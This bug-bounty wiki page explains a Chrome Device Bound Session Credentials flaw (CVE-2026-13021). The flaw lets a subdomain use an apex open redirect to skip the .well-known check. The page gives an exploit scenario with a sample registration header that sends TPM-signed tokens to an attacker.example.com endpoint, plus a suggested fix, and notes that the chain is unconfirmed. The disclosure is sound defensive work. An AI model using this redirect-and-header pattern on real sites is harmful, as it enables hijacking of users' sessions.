Inappropriate implementation in DeviceBoundSessionCredentials (CVE-2026-13021)
The DBSC registration logic compared the pre-redirect host with the session origin to decide whether to skip the .well-known authorization check, while resolving the session against the post-redirect URL. An attacker controlling a subdomain could use an open redirect on the apex to install a site-wide session that sends TPM-signed tokens to the attacker's endpoint.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 45 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The Device Bound Session Credentials (DBSC) implementation incorrectly evaluates subdomain authorization when an open redirect is involved during registration. It validates the session scope against the pre-redirect URL but creates the session bound to the post-redirect URL, allowing an attacker to bypass the .well-known registration check and hijack sessions for an entire site.
Affected files:
net/device_bound_sessions/registration_fetcher.ccnet/device_bound_sessions/url_fetcher.ccnet/device_bound_sessions/registration_fetcher_param.cc
Estimated timestamp from git blame: 2026-02-20
Background
Device Bound Session Credentials (DBSC) allows a server to bind a session to a device's TPM. To prevent a compromised or untrusted subdomain from registering a session that applies to the entire site (e.g., attacker.example.com creating a session for *.example.com), DBSC enforces an authorization check. If a session configuration specifies include_site: true and the registration endpoint is a subdomain, Chrome fetches /.well-known/device-bound-sessions from the apex domain to verify the subdomain is authorized.
Potential Vulnerability
A vulnerability exists in RegistrationFetcherImpl where it suffers from identity confusion between the pre-redirect and post-redirect URLs when handling HTTP redirects during the session registration fetch.
When a DBSC registration request follows an HTTP redirect, net::URLFetcher transparently updates the current URL. However, RegistrationFetcherImpl retains the original, pre-redirect URL in its fetcher_endpoint_ member variable.
When the request completes in RegistrationFetcherImpl::OnRequestComplete (net/device_bound_sessions/registration_fetcher.cc):
- It parses the session configuration JSON and resolves the
refresh_urlusing the post-redirect URL (url_fetcher_->request().url()). - The
.well-knownauthorization check bypass logic evaluatesfetcher_endpoint_.GetHost() != session->origin().host(). - Because
fetcher_endpoint_holds the pre-redirect URL, this check compares the pre-redirect host against the requested session origin. If they match, the.well-knowncheck is completely bypassed.
Potential Exploit Scenario
An attacker can exploit this if they control a subdomain (attacker.example.com) and identify an open redirect on the apex domain (example.com/redirect).
- The victim visits the attacker's subdomain:
https://attacker.example.com. - The attacker serves a DBSC registration header pointing to the apex open redirect:
Secure-Session-Registration: (ES256);path="https://example.com/redirect?url=https%3A%2F%2Fattacker.example.com%2Fdbsc" - Chrome parses this and verifies that the pre-redirect URL (
https://example.com/redirect...) is same-site with the request URL. RegistrationFetcherImplis created withfetcher_endpoint_set tohttps://example.com/redirect....- The request is initiated and transparently follows the 302 redirect to
https://attacker.example.com/dbsc. - The attacker's endpoint responds with a 200 OK and a DBSC configuration specifying
"origin": "https://example.com","include_site": true, and a relative"refresh_url": "/refresh". Session::CreateIfValidvalidates the configuration. It resolves the relative refresh URL against the post-redirect URL, yieldinghttps://attacker.example.com/refresh. It also confirms the scope origin (example.com) is same-site with the post-redirect URL.- The authorization bypass check evaluates
fetcher_endpoint_.GetHost() != session->origin().host(). Becausefetcher_endpoint_isexample.comand the session origin isexample.com, the check evaluates tofalse, bypassing the.well-knowncheck. - A site-wide DBSC session is installed. Subsequent requests to
*.example.comwill trigger DBSC, sending fresh TPM-signed JWTs to the attacker's endpoint (https://attacker.example.com/refresh).
(Note: Our tooling does not yet have the ability to run code to confirm this exploit chain dynamically, but the static analysis strongly supports it.)
Suggested Fix
Ensure that the authorization check in RegistrationFetcherImpl::OnRequestComplete uses the final, post-redirect URL. Specifically, line 731 in registration_fetcher.cc should be updated to compare the session->origin().host() against url_fetcher_->request().url().host() instead of fetcher_endpoint_.GetHost().
Alternatively, consider whether DBSC registration fetches should follow redirects at all. If they should, fetcher_endpoint_ should be updated when a redirect is followed, or DBSC should enforce that redirects do not cross origin boundaries.
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the code kept the original pre-redirect URL in a member variable and used it for the authorization comparison, while the session configuration was resolved against the final post-redirect URL.
Impact
An attacker could install a site-wide session and receive fresh TPM-signed tokens for the whole site, though the report notes the exploit chain was not confirmed dynamically.
What the attacker needed
Attacker controls a subdomain; open redirect on the apex domain; victim visits the attacker's subdomain
The fix
The authorization check should use the final post-redirect URL, or DBSC registration should not follow redirects across origins.
How it was found
- The victim visits the attacker's subdomain.
- The attacker serves a DBSC registration header pointing to an open redirect on the apex domain.
- Chrome checks that the pre-redirect URL is same-site with the request URL.
- The request follows the redirect to the attacker's endpoint, which returns a DBSC configuration with include_site true and a relative refresh URL.
- The configuration is validated against the post-redirect URL, and the authorization check compares the pre-redirect host with the session origin, bypassing the .well-known check.
- A site-wide session is installed, and later requests to the site send fresh TPM-signed tokens to the attacker's refresh endpoint.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Device Bound Session Credentials (DBSC) let a website tie a login session to a device's security chip, so stolen cookies are less useful. A subdomain is normally not allowed to create a session for the whole site unless the main domain approves it through a special file. Here, a redirect confused the check, so a malicious subdomain could get that approval without the file and receive the victim's signed session tokens.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.